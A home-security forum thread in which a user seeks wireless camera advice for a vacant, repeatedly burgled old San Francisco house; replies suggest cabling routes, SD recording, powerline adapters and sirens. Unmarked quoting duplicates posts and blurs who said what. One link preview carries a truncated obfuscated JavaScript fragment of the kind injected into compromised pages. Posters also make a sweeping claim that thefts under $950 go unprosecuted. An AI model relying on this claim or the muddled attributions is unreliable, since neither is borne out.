Need advice on a wireless cam system

[Video1]

My mom has a house that she's not living in. Problem is it keeps getting vandalized and broken into. We want to set up a security camera system, but the house is very old and the interior walls are lathe and plaster. So running CAT6 cables through the walls would be very expensive. She's probably going to sell the house within the next year. We were hoping a wifi camera system would be a deterrent. But I know folks have a LOT of issues with dropouts etc., with wifi cams.

The house is 3 stories and about 3500 sq ft. I'm guessing a mesh router would be mandatory?

Is there any particular wifi system camera that folks here can recommend? I'm thinking we need about 4 cameras in all. My brother wanted to install one of those cheap Lorex systems.

 

[bigredfish]

If deterrence is your goal, I'd prioritize a good alarm system. Cameras wont stop bad guys. What stops bad guys? alarms, police, large mean dogs, and a well trained armed defender

 

[bigredfish]

To your original question, most here dont care for wireless cameras for good reason. You will be disappointed .

Are you wanting to view the cameras live from a remote location? Or just record them and retain X amount of days footage for later review?

Do you have internet at the house? Is anyone living at the home?

 

[looney2ns]

Even tho we do a lot of bashing of Ring around here, but the Ring alarm system is decent, might be an option.
Plus what @bigredfish said.

If want to do some digging, read the attachment and use the links there in.

 

[Video1]

None of us live in that house. We'd like to both record the events and view them remotely.

We just installed a fiber internet connection at the house, so internet speed won't be an issue.

Running CAT6 cable would involve much more expense. We'd have to tear out lathe and plaster walls and repair all that damage. It would be a $10k plus job, IF we can find a contractor these days.

This house is in San Francisco, where the police don't really care about break-ins. And California has a law on the books now that says if you cause less than $950 in damage or theft, you're not even prosecuted. Petty crime is through the roof as a result.

To your original question, most here dont care for wireless cameras for good reason. You will be disappointed .

Are you wanting to view the cameras live from a remote location? Or just record them and retain X amount of days footage for later review?

Do you have internet at the house? Is anyone living at the home?

 

[Video1]

Thank you!

I'm thinking since no one lives in the house, for now we could just run some CAT6 cable inside to a couple of locations and let the wire lay on the ground, as unsightly as it may be. The cameras for the basement and backyard would have to be wireless however as that distance is just too great. I'm hoping a mesh router and the fact that we just upgraded the internet to a feed with fiber, will be a difference maker.

Even tho we do a lot of bashing of Ring around here, but the Ring alarm system is decent, might be an option.
Plus what @bigredfish said.

If want to do some digging, read the attachment and use the links there in.

 

[mat200]

None of us live in that house. We'd like to both record the events and view them remotely.

We just installed a fiber internet connection at the house, so internet speed won't be an issue.

Running CAT6 cable would involve much more expense. We'd have to tear out lathe and plaster walls and repair all that damage. It would be a $10k plus job, IF we can find a contractor these days.

This house is in San Francisco, where the police don't really care about break-ins. And California has a law on the books now that says if you cause less than $950 in damage or theft, you're not even prosecuted. Petty crime is through the roof as a result.

Hi Video1

"We'd have to tear out lathe and plaster walls and repair all that damage."

It is possible to run lines without tearing out walls... lathe and plaster...

This is what I would do:

1) As you plan to sell the house...
2) Old house - should have a crawl space
3) Run cables in crawl space out to outer wall - then into conduit, run conduit up the outside walls to junction boxes with cameras.
4) paint conduit and junction boxes to match walls
5) get an alarm system

Ideally have someone live there...

 

[Video1]

In fact we already have an alarm system. It's not a deterrent though as these people know the cops don't give a hoot due to the folks that run the city and state.

It's a 3 story house so the crawl space in the attic really doesn't work for us. Even if that were possible it would be a massive undertaking. This is a 110 year old house. It's not like new houses with big attics. If this thing has as crawl space it's tiny and not very accessible. For all I know there's still old knob and tube wiring up there that could be a dangerous hazard.

We could conceivably run the wiring through conduit on the exterior of the house, but that's gonna be an issue with the weather. This house faces west and is not far from the Pacific Ocean. We get bad winter storms here and any penetration into the old stucco can lead to water intrusion.

I appreciate the suggestions. The problem is we have all these constraints. That's why I was thinking of just running a few cams on the easily accessible areas with CAT6 cables running along the floor for now, and using wireless cams for the 2nd floor, basement and backyards.

Hi Video1

"We'd have to tear out lathe and plaster walls and repair all that damage."

It is possible to run lines without tearing out walls... lathe and plaster...

This is what I would do:

1) As you plan to sell the house...
2) Old house - should have a crawl space
3) Run cables in crawl space out to outer wall - then into conduit, run conduit up the outside walls to junction boxes with cameras.
4) paint conduit and junction boxes to match walls
5) get an alarm system

Ideally have someone live there...

 

[mat200]

In fact we already have an alarm system. It's not a deterrent though as these people know the cops don't give a hoot due to the folks that run the city and state.

It's a 3 story house so the crawl space in the attic really doesn't work for us. Even if that were possible it would be a massive undertaking. This is a 110 year old house. It's not like new houses with big attics. If this thing has as crawl space it's tiny and not very accessible. For all I know there's still old knob and tube wiring up there that could be a dangerous hazard.

We could conceivably run the wiring through conduit on the exterior of the house, but that's gonna be an issue with the weather. This house faces west and is not far from the Pacific Ocean. We get bad winter storms here and any penetration into the old stucco can lead to water intrusion.

I appreciate the suggestions. The problem is we have all these constraints. That's why I was thinking of just running a few cams on the easily accessible areas with CAT6 cables running along the floor for now, and using wireless cams for the 2nd floor, basement and backyards.

Sounds like your best bet is to have someone move into the house then...


FYI - I was not referring to crawl space in the attic, but in the basement...

3) Run cables in crawl space out to outer wall - then into conduit, run conduit up the outside walls to junction boxes with cameras.

 

[looney2ns]

Why do you need cams on the 2nd floor? Cover the entrances of the main floor, for face ID's. You can record to SD cards in the cameras.
There is always a way to hide /install wiring without damaging the walls.
A few pieces of wood trim can hide cat 5e wiring along where the wall meets the floor.
If the police don't care, what good do you think the cameras will accomplish?
Enhance the current alarm with more sirens to make it unbearable to stay in the house.
Reinforce doors and windows to make them harder to break through.
Hire two of these guys to live in the house.

 

[Video1]

I'll look into routing it from the basement. No idea if it's even possible since the house is on a slope and we don't have a full basement.

No simple solutions. Ugh!

Sounds like your best bet is to have someone move into the house then...


FYI - I was not referring to crawl space in the attic, but in the basement...

3) Run cables in crawl space out to outer wall - then into conduit, run conduit up the outside walls to junction boxes with cameras.

 

[Video1]

I suppose we don't need cams on the 2nd floor. Recording to SD cards is a great idea.
It's not so much as the police don't care as much as their hands are tied. There's just not much they can do. They've expressed their frustration when we've had them come over to file a report.
Adding more sirens is a good idea. I suspect these jerks are wearing earplugs though.
We're adding a reinforced metal front gate to the front door since it sits in an alcove.

I used to have a GSD. Great dogs! We lived in the house next door and man oh man. If anyone even stepped foot on the property she'd go crazy.

Why do you need cams on the 2nd floor? Cover the entrances of the main floor, for face ID's. You can record to SD cards in the cameras.
There is always a way to hide /install wiring without damaging the walls.
A few pieces of wood trim can hide cat 5e wiring along the where the wall meets the floor.
If the police don't care, what good do you think the cameras will accomplish?
Enhance the current alarm with more sirens to make it unbearable to stay in the house.
Reinforce doors and windows to make them harder to break through.
Hire two of these guys to live in the house.
View attachment 69129

 

[looney2ns]

Best option, is to get out of commifornia before it finish's circling the drain.

 

[windguy]

@Video1 - maybe I'm missing this in your message but what's the point in having a video system?
The only reasonable deterrent, as suggested, is you need a house sitter. It's a win-win solution as long as you find the right tenant.
The worst case scenario is that squatters take over and/or burn the house down. Better to be proactive on this problem.

 

[Video1]

SF has severe rent control. It's so bad that I have a landlord tenant attorney on my speed dial. If you make a mistake on who you rent to as a "house sitter", you're screwed. That person, once he establishes tenancy, can rent the remainder of the house out room by room. They can pretty much destroy your house with no repercussions. A friend of mine visited one of his apartment units only to find that the tenant had subdivided each room of the apartment up with new drywall and was renting it out room by room. Another friend had a tenant who was dealing drugs from the property. It cost him over $100k to evict the tenant. If you are dumb enough to rent to someone who falls under the status of a "protected tenant", they basically have a lifetime tenancy. My parents have another friend who has a multi-unit apartment building. He purposefully left the units empty because he didn't want to deal with the rent control. He held the apartment long enough to make a tidy profit and then sold it for a premium, because in SF's crazy rent controlled market, empty buildings sell for a premium.

But we digress. The solution is not to deal with tenants at this point. My mom wants to sell the property eventually.

I just want to secure the building enough so that we're not bothered by constant break-ins.

At this point I think I'll try to run a couple of IP cams to the front and side of the house where the windows are most exposed. The backyard and basement levels will be covered by wireless cams. I hope having a mesh router will make a difference. Certainly internet speed is not going to be an issue with a fiber connection.

@Video1 - maybe I'm missing this in your message but what's the point in having a video system?
The only reasonable deterrent, as suggested, is you need a house sitter. It's a win-win solution as long as you find the right tenant.
The worst case scenario is that squatters take over and/or burn the house down. Better to be proactive on this problem.

 

[mat200]

SF has severe rent control. It's so bad that I have a landlord tenant attorney on my speed dial. If you make a mistake on who you rent to as a "house sitter", you're screwed. That person, once he establishes tenancy, can rent the remainder of the house out room by room. They can pretty much destroy your house with no repercussions. A friend of mine visited one of his apartment units only to find that the tenant had subdivided each room of the apartment up with new drywall and was renting it out room by room. Another friend had a tenant who was dealing drugs from the property. It cost him over $100k to evict the tenant. If you are dumb enough to rent to someone who falls under the status of a "protected tenant", they basically have a lifetime tenancy. My parents have enough friend who has a multi-unit apartment building. He purposefully left the units empty because he didn't want to deal with the rent control. He held the apartment long enough to make a tidy profit and then sold it for a premium, because in SF's crazy rent controlled market, empty buildings sell for a premium.

But we digress. The solution is not to deal with tenants at this point. My mom wants to sell the property eventually.

I just want to secure the building enough so that we're not bothered by constant break-ins.

At this point I think I'll try to run a couple of IP cams to the front and side of the house where the windows are most exposed. The backyard and basement levels will be covered by wireless cams. I hope having a mesh router will make a difference. Certainly internet speed is not going to be an issue with a fiber connection.

hmmm... well that does add some complications to this... and to think the possible new US President was the past DA of San Francisco who was responsible for some of this mess...

 

[SecuritySeeker]

I was going to suggest just laying loose cable but if that's too unsightly you could perhaps try this:

Power-line communication - Wikipedia

en.wikipedia.org

I've used this myself in the past (not for connecting cameras, just for desktop PCs) with pretty good results. probably works a bit better than WiFi but nothing beats Ethernet cable.

Perhaps you can tie some ear-piercing indoor sirenes to the security system to chase away intruders? Or if you're adventurous maybe install one of those fog generators for security applications.

 

[dudemaar]

Sounds like your best bet is to have someone move into the house then...


FYI - I was not referring to crawl space in the attic, but in the basement...

3) Run cables in crawl space out to outer wall - then into conduit, run conduit up the outside walls to junction boxes with cameras.

Always a way to get the wire into the basement. For less than $1000

 

[Video1]

I like the idea of the powerline communicators. I have a couple of old units that I'm gonna test out. This house has old wiring so who knows if it'll work. It's worth a try though.

I also like the idea of adding more sirens. The alarm company is coming out to do some more work so I'm going to ask they install an extra siren or two.

I was going to suggest just laying loose cable but if that's too unsightly you could perhaps try this:

Power-line communication - Wikipedia

en.wikipedia.org

I've used this myself in the past (not for connecting cameras, just for desktop PCs) with pretty good results. probably works a bit better than WiFi but nothing beats Ethernet cable.

Perhaps you can tie some ear-piercing indoor sirenes to the security system to chase away intruders? Or if you're adventurous maybe install one of those fog generators for security applications.

 

[SecuritySeeker]

I also like the idea of adding more sirens. The alarm company is coming out to do some more work so I'm going to ask they install an extra siren or two.

You could try these:

Sound Barriers

SOUND BARRIERS All Inferno sound barriers are sabotage protected. The outer casing is built to last – from steel $nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return...

inferno.se

although I find them pretty expensive for what they are. Some cheap piezo tweeters also make incredibly nasty noises that seem to resonate with your eardrums. Not enough to cause instant ear-damage but pretty unbearable.